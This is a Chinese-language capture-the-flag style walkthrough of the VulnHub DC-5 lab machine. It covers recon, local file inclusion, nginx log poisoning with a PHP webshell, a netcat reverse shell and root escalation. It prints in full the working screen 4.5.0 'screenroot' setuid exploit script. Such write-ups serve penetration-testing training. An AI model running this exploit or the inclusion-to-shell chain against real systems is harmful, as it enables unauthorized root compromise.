vulnhub之DC5靶机


在这里使得入图片描述

靶机概览

详情介绍请参考下载地址
任务目标:拿下系统的root家目录
下载地址:https://www.vulnhub.com/entry/dc-5,314/
靶机界面:
在这里插入图片描述

信息收集

由于我这里采用了NAT,所以很容易确定目标机器,如果你的网络环境里有众多机器,并且系统版本与靶机相似,且不方便更换连接虚拟机的方式,你可以先查看一下DC5的MAC,这样做主机发现时可以通过MAC来过滤靶机。
在这里插入图片描述

nmap信息收集

1:使用nmap作网段的主机发现,确定靶机地址是192.168.40.134
在这里插入图片描述
2:继续使用nmap对靶机做进一步探测
在这里插入图片描述
看这样子,还是先去80端口看看吧

网站信息收集

网站主页的样子,大致可以判断前4个是静态页面,最后一个可以提交信息,只能从最后一个页面来搞
在这里插入图片描述

探测漏洞

看着这个页面就想起留言板,想起留言板就想起XSS,随便来个XSS测试代码试试
在这里插入图片描述
在这里插入图片描述
把URL的参数部分全部去掉,再刷新一下页面,发现Copyright的年份变了,再刷新页面,年份又变了,说明Copyright不是HTML写的,可能是后台的动态脚本写的
在这里插入图片描述
可能会存在本地文件包含,先试一试目录爆破

目录探测

使用御剑,已经扫出一些结果了,依次访问,发现第6条有点价值
在这里插入图片描述
当刷新http://192.168.40.134/footer.php时,发现Copyright在变,而刷新http://192.168.40.134/thankyou.php同理,可以确认,网站存在文件包含。
在这里插入图片描述

文件包含

上面已经发现靶机存在文件包含,但是如果想要利用的话,就必须确认这个文件包含的动态的,是可控的,而要确认这一点,首先需要知道它实现包含的参数是什么?盲猜一个:

http://192.168.40.134/thankyou.php?path=footer.php

很明显,失败了,上BurpSuite
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参数极有可能是file,令参数为file,路径为/etc/passwd,执行成功。
说明靶机确实存在文件包含漏洞
在这里插入图片描述
那么,接下来需要判断他是不是可以远程文件包含,如果可以的话,那就直接上木马,如果没有,再另寻他法。
发现不支持远程文件包含,那只能本地文件包含了
在这里插入图片描述

渗透攻击

由于已经确定只能本地文件包含,那就可以考虑报错攻击,写一个payload传进去让服务器报错,找到服务器的日志,再去利用payload

找出日志服务器

上BurpSuite爆破日志目录
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现日志在/var/log/nginx/access.log
打开之后很恐怖,应该是因为前面的爆破导致产生大量错误日志,自己又忘了做快照,唉,重新导入一下靶机。
瞬间轻松了许多
在这里插入图片描述

一句话木马

原始文件
在这里插入图片描述
改写后的文件
在这里插入图片描述
刷新日志,发现写入成功
在这里插入图片描述
上中国蚁剑
在这里插入图片描述
去/tmp目录下新建一个文件,名字随意,我这里迷惑一下机器。
警告,虽然蚁剑连接成功了,但毕竟是在日志目录下,日志一直在读写,对我们的操作不利。

文件包含漏洞的特点:
无视文件扩展名读取文件
无条件解析PHP代码

在这里插入图片描述

重新写一个简单的一句话木马
在这里插入图片描述
打开木马(显示的404正好符合预期,文件第一行就是404)
在这里插入图片描述
得到一个新的稳定的shell
在这里插入图片描述

提权

首先需要明确,不能使用蚁剑提权,因为HTTP是瞬时协议,我这边正提权呢,你那边TCP四次挥手断开连接了,不能持久连接,所以蚁剑的作用就在于上传文件来反弹shell。
先看一下自己是谁,是个小菜鸡
在这里插入图片描述
进root家也是痴心妄想
在这里插入图片描述

反弹shell

注意到靶机有nc,并且有-e参数
在这里插入图片描述
kali开启监听
在这里插入图片描述
蚁剑反弹
在这里插入图片描述
kali拿到shell
在这里插入图片描述

交互式shell

由于上面的shell不好用,下面通过python来建立交互式shell

交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'

接着考虑怎样提权,先找找有没有 命令是root权限且不需要密码的,没有。再找找能不能SUID提权,看见screen-4.5.0了,试一试
在这里插入图片描述

辅助工具提取

获取脚本
在这里插入图片描述
在这里插入图片描述
接下来可以用蚁剑直接把脚本上传到靶机上去,这里玩一个骚操作
本机开80端口,让蚁剑下载文件到靶机上
1:kali开启80端口
在这里插入图片描述
2:火狐访问确认正常
在这里插入图片描述
3:蚁剑下载到靶机/tmp目录
en,,,,,蚁剑WGET不下来,还是用命令行吧
使用反弹shell的kali端
在这里插入图片描述
4:执行脚本
在这里插入图片描述

手工执行脚本

先来看一下脚本是怎么写的吧

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

手工执行编译,忽略报错
在这里插入图片描述
把脚本上传到靶机上面,还是python开80了,用蚁剑的WGET,就不信了还上传不上去,注意,是上传上图中绿色的那三个文件
在这里插入图片描述
三个文件全部上传成功
在这里插入图片描述
来到kali下的反弹shell的界面,运行脚本,提权成功在这里插入图片描述

拿flag

在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值